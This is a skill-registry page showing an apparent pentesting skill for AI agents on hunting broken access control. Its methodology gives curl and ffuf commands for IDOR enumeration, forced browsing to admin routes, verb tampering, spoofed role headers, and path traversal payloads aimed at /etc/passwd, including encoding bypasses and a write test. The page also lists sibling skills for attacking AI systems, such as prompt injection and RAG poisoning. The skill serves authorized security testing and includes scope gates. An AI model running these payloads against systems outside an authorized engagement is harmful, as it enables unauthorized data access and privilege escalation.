broken-access-control
Skill1 starsChanged 11 days agoMITView on GitHub
Hunt for broken access control: horizontal privilege escalation (access another same-tier user's data), vertical privilege escalation (access higher-tier functionality), path traversal to read/write outside the intended directory, and metadata/parameter manipulation (forced browsing, direct object reference by predictable ID). Use as the general-purpose authz survey across the whole app. Keywords: IDOR, horizontal access control, vertical access control, privilege escalation, path traversal, forced browsing, ../../, direct object reference. Do NOT use for API-specific BOLA/BFLA terminology survey when the target is purely an API — use api-abuse for that framing (same root cause, different surface). Do NOT use for mass-assignment-driven privilege escalation — use mass-assignment for the field-injection vector.
- Sends data out
4 other projects use a version of this.
Adopted by
Most recently taken up by
- forefy/.contexttheir own version, first seen Sep 29, 2026
- thejefflarson/soundchecktheir own version, first seen Jul 31, 2026
- swapniltamse/claude-security-engineertheir own version, first seen May 25, 2026
- scholarly360/owasp-top10-web-skillstheir own version, first seen Apr 8, 2026
Other versions4 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 4
- forefy/.context★ 153same name
- scholarly360/owasp-top10-web-skills★ 23same name
- thejefflarson/soundcheck★ 20same name
- swapniltamse/claude-security-engineer★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
8 rules. 0 are common, 8 are distinctive, and 0 are very specific to this project.
0
Common
Most of the 3 edited versions we read keep these.
8
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 56
Horizontal — indirect/predictable reference: If IDs are UUIDs (not sequential), check if any other identifier (order number, invoice …
- Distinctive: line 69
Vertical — method/verb confusion on a role-gated endpoint: If GET is blocked for low-privilege but the endpoint also accepts other verbs, …
- Distinctive: line 75
Path traversal — file read: Test any filename/path parameter for directory traversal:
- Distinctive: line 85
Path traversal — file write/overwrite: If an upload or export feature accepts a destination path, test writing outside the intended …
- Distinctive: line 90
Metadata/parameter manipulation: Test hidden form fields and cookies/headers that encode role or permission client-side:
- Distinctive: line 119
Every finding needs the full request+response, not a description of what "should" happen.
- Distinctive: line 127
Don't confuse a 404 (object doesn't exist) with a 403 (exists but denied) when iterating object IDs — a 404 on someone else's object can …
- Distinctive: line 131
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 3 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Any resource referenced by an ID in the URL/body (
/invoice/1042,/user/55/edit,?file=report.pdf). - Role-gated UI elements (admin menu hidden by CSS/JS, not absent from the DOM/bundle).
- File download/view features taking a filename/path parameter.
- Multi-tenant app where tenant isolation depends on application logic rather than infrastructure-level separation.
- Different URL structures per role (
/admin/...vs/user/...) that might share the same backend auth middleware — or might not.
Prerequisites
- At least two accounts at the same privilege tier (horizontal testing) and at least two tiers (vertical testing) — all within scope.
- A documented map of every role-gated feature from crawling (web-crawling output) to test systematically, not just a few examples.
Methodology
- Horizontal — direct object reference. As User A, capture a request touching an owned object. Replay as User B against User A's object ID:
Script across a range to confirm scope/systemic nature:curl -s -i https://target.com/invoice/1042 -b "session=$SESSION_USER_B" # 200 with User A's data = horizontal broken access controlfor id in $(seq 1030 1060); do code=$(curl -s -o /tmp/inv_$id.html -w "%{http_code}" https://target.com/invoice/$id -b "session=$SESSION_USER_B") echo "$id -> $code" done - Horizontal — indirect/predictable reference. If IDs are UUIDs (not sequential), check if any other identifier (order number, invoice reference, confirmation code) used as a lookup key is predictable/enumerable instead.
- Vertical — forced browsing to admin functionality. Mine the JS bundle and sitemap for admin-only routes, then request them directly as a low-privilege user:
Also brute-force common admin paths if nothing is visible client-side:curl -s https://target.com/static/js/main.js | grep -oE '"/admin/[a-zA-Z0-9/_-]+"' | sort -u curl -s -i https://target.com/admin/users -b "session=$SESSION_LOW_PRIV" curl -s -i https://target.com/admin/export -b "session=$SESSION_LOW_PRIV"ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403 -t 50 - Vertical — method/verb confusion on a role-gated endpoint. If GET is blocked for low-privilege but the endpoint also accepts other verbs, test them:
curl -s -i -X POST https://target.com/admin/users/55/promote -b "session=$SESSION_LOW_PRIV" curl -s -i -X PUT https://target.com/admin/users/55 -b "session=$SESSION_LOW_PRIV" -d '{"role":"admin"}' - Path traversal — file read. Test any filename/path parameter for directory traversal:
Confirm by checking for actual file content (curl -s "https://target.com/download?file=../../../../etc/passwd" curl -s "https://target.com/download?file=..%2f..%2f..%2f..%2fetc%2fpasswd" curl -s "https://target.com/download?file=....//....//....//etc/passwd" # filter-bypass via repeated traversal curl -s "https://target.com/download?file=..\\..\\..\\windows\\win.ini" # Windows-hosted target curl -s "https://target.com/static/..%252f..%252f..%252fetc%252fpasswd" # double URL-encodingroot:x:0:0:for/etc/passwd), not just a 200 status. - Path traversal — file write/overwrite. If an upload or export feature accepts a destination path, test writing outside the intended directory (higher risk — only with explicit scope/gate, since this can be destructive):
curl -s -i -X POST https://target.com/api/export -d '{"path":"../../../../tmp/poc_write_test.txt","content":"poc"}' - Metadata/parameter manipulation. Test hidden form fields and cookies/headers that encode role or permission client-side:
curl -s -i https://target.com/profile -b "session=$SESSION; role=admin" curl -s -i https://target.com/api/me -H "X-Role: admin" curl -s -i https://target.com/api/me -H "X-User-Id: 1" - Confirm the access control gap is enforced nowhere else in the chain (not just the endpoint you tested) — check if a WAF/gateway happens to block it while the origin app itself remains vulnerable, which changes remediation guidance but not the underlying finding.
Tooling
- Burp Suite + Autorize extension (automated multi-account replay across an entire crawl, flags discrepancies).
ffuffor forced-browsing/path discovery.curlfor precise, scriptable per-ID replay and traversal payload iteration.- Source-mapped JS bundle review (manual
grep) for hidden route discovery.
Root Causes
- Authorization enforced client-side (hidden menu items) with no server-side re-check on the endpoint.
- Object lookups by ID with no ownership/tenant check (
WHERE id=?instead ofWHERE id=? AND user_id=?). - Inconsistent middleware application — some routes wrapped in an auth-check decorator/middleware, newer routes added without it.
- Filenames/paths concatenated into filesystem calls without canonicalization or allow-listing against a base directory.
- Trust placed in client-controlled cookies/headers for role or identity.
Validation Gate (minimum proof)
- Horizontal: request/response pair showing User B's session retrieving User A's specific, real (redacted in report) data.
- Vertical: request/response showing a low-privilege session executing/viewing admin-only functionality, with a follow-up request confirming any state change actually took effect.
- Path traversal: actual file content read from outside the intended directory (not just an unusual status code) — stop at read confirmation; do not escalate to write/overwrite without an operator gate.
- Every finding needs the full request+response, not a description of what "should" happen.
Gotchas
- Minimum proof: a differing HTTP status code (200 vs 403) is a lead; confirm the response body contains real, exploitable content before calling it Demonstrated.
- Common N/A: object IDs are unguessable UUIDv4 AND every lookup is properly scoped to the authenticated user/tenant — verify both before closing, since UUIDs alone don't guarantee the ownership check exists.
- Overclaim trap: finding an admin route that still requires a valid admin session token (just reachable in terms of URL structure) is not vertical escalation — you must reach it with a lower-privilege session.
- Path traversal payloads blocked by a WAF at the edge doesn't mean the origin app sanitizes correctly — note whether you tested against the edge or confirmed direct origin access, where in scope.
- Don't confuse a 404 (object doesn't exist) with a 403 (exists but denied) when iterating object IDs — a 404 on someone else's object can also mean enumeration is simply hard, not that access control works; verify object existence independently where possible.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Horizontal escalation — Can you access another user's resources through the same broken check?
- Vertical escalation — Can you reach admin/privileged functionality from a low-privilege account?
- Consistency across endpoints — Is the missing check isolated to one endpoint, or does the same role/permission bug appear across the API surface?
- Mapped to IDOR/mass assignment — Does the broken check combine with an IDOR or mass-assignment finding to widen impact?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Horizontal IDOR + sequential/predictable IDs → systemic mass data exposure (quantify scope without exfiltrating real data at bulk).
- Vertical escalation to admin → full chain into whatever admin functionality enables (user management, billing, data export) — treat each as its own impact statement.
- Path traversal read of a config file → credential/secret exposure feeding further chains (e.g. API keys enabling api-abuse elsewhere).
- Metadata/header-based role trust → often combines with mass-assignment if the same role value is also settable via a profile update endpoint.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

